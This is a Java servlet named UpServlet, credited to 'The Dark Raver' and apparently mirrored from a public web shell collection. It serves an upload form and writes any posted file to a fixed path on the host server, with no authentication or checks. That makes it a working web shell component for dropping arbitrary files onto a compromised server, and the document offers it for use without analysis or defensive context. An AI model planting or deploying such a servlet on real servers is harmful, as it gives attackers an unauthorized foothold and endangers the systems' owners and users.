mirror of
https://github.com/tennc/webshell
synced 2024-11-26 05:00:18 +00:00
71 lines
No EOL
1.9 KiB
Java
71 lines
No EOL
1.9 KiB
Java
/*
|
|
* UpServlet.java 29/04/2005
|
|
*
|
|
* @author The Dark Raver
|
|
* @version 0.1
|
|
*/
|
|
|
|
import java.io.*;
|
|
import javax.servlet.*;
|
|
import javax.servlet.http.*;
|
|
|
|
|
|
public class UpServlet extends HttpServlet {
|
|
|
|
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
|
|
res.setContentType("text/html");
|
|
PrintWriter out = res.getWriter();
|
|
out.print("<html><body>");
|
|
out.print("<br><form method=\"POST\" action=\"\" enctype=\"multipart/form-data\">");
|
|
out.print("UPLOAD <input type=\"file\" name=\"file\" size=\"60\">");
|
|
out.print("<input type=\"submit\" value=\"Upload\">");
|
|
out.print("</form>");
|
|
out.print("</body></html>");
|
|
}
|
|
|
|
|
|
public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
|
|
String tag = new String();
|
|
int c = '\0';
|
|
int contador = 0;
|
|
ServletInputStream in = req.getInputStream();
|
|
DataInputStream post = new DataInputStream(in);
|
|
|
|
PrintWriter out = res.getWriter();
|
|
res.setContentType("text/html");
|
|
out.print("<pre>");
|
|
|
|
while((c=post.read()) != -1 && c != '\r' && c != '\n') {
|
|
tag=tag.concat("" + (char)c);
|
|
contador++;
|
|
}
|
|
|
|
for(int i=0; i <4; i++) while((c=post.read()) != -1 && c != '\n') contador++;
|
|
|
|
// out.print("CONTENT_LEN = " + req.getContentLength() + " / TAG = [" + tag + "] / TAG_LEN = " + tag.length() + "\n");
|
|
// out.print("CONTADOR = " + contador + " / FILE_LEN = " + (req.getContentLength() - tag.length() - contador - 11) + " ==>");
|
|
|
|
// (!) Uploaded File Name
|
|
|
|
File newfile = new File("c:\\install.log");
|
|
|
|
/////////////////////////
|
|
|
|
FileOutputStream fileout = new FileOutputStream(newfile);
|
|
|
|
for(int i=0; i < req.getContentLength() - tag.length() - contador - 11; i++) {
|
|
c=post.read();
|
|
fileout.write((char)c);
|
|
}
|
|
|
|
fileout.close();
|
|
out.print("<== OK");
|
|
|
|
}
|
|
|
|
|
|
public String getServletInfo() {
|
|
return "UpServlet 0.1";
|
|
}
|
|
|
|
} |